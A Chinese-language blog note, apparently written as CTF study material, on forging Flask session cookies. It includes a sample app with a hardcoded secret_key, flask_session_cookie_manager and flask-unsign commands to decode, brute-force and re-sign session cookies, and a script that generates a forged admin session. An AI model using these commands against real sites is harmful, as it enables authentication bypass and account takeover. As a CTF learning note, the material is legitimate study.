目录

  1. 1. Session ID
  2. 2. 出现场景
  3. 3. 原始代码
  4. 4. flask_session_cookie_manager进行Session加密解密
  5. 5. flask-unsign进行secret_key爆破与session加解密
  6. 6. 本地生成Session

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

session伪造

2023/5/14 Web jwt session flask
  |     |   总文章阅读量:

个人总结,可能有些地方有误

外链

Session ID

是服务器为每个用户在登录时生成的一个随机字符串,用于标识用户身份和会话状态,通常存储在Cookie中

一般是以json格式

出现场景

响应头中存在Vary: cookie且cookie中存在相关的session参数

使用Flask框架:因为Session变量的内容一般保存在服务端,但是Flask并不包含数据库框架的操作,于是Flask通过一个secret_key来解决这类问题,换言之只要知道了secret_key就能进行session伪造

原始代码

from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'SCFmkpovdDVCJPO21cvcds'

@app.route('/')
def set_session():
    if 'name' in session:
        name = session['name']
        if name == "anonymous":
            return 'Session 已设置,你是 anonymous'
        elif name == 'admin':
            return 'Session 已设置,你是 admin'
        else:
            return 'Session 已设置,你是 ???'
    session['name'] = 'anonymous'
    return 'Session 未设置,现已设置'

if __name__ == '__main__':
    app.run(debug=False, port=8080)

flask_session_cookie_manager进行Session加密解密

Github上的脚本

在安装的文件夹中使用终端执行命令

解密:

python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"

加密:

python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

由此可以抓包进行session伪造实现身份认证绕过


flask-unsign进行secret_key爆破与session加解密

爆破key,dict.txt需要看情况自己生成,一般是固定位数的随机数

flask-unsign --unsign --cookie "session值" --wordlist dict.txt

加密:

flask-unsign --sign --cookie "要加密的字符串" --secret 'secret_key' --no-literal-eval

本地生成Session

import base64
import os
from flask import (Flask, render_template, request, url_for, redirect, session,
                   render_template_string)
from flask_session import Session

app = Flask(__name__)
app.secret_key = str(base64.b64encode(
    os.urandom(30)).decode()) + "*NeepuCTF*"  #改成获取的key


@app.route('/')
def index():
    #要伪造的数据
    txt = '1'
    session['admin'] = txt  #放入session中会用key自动加密后发给客户端
    ls = '''can can word session '''
    return render_template_string(ls)


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)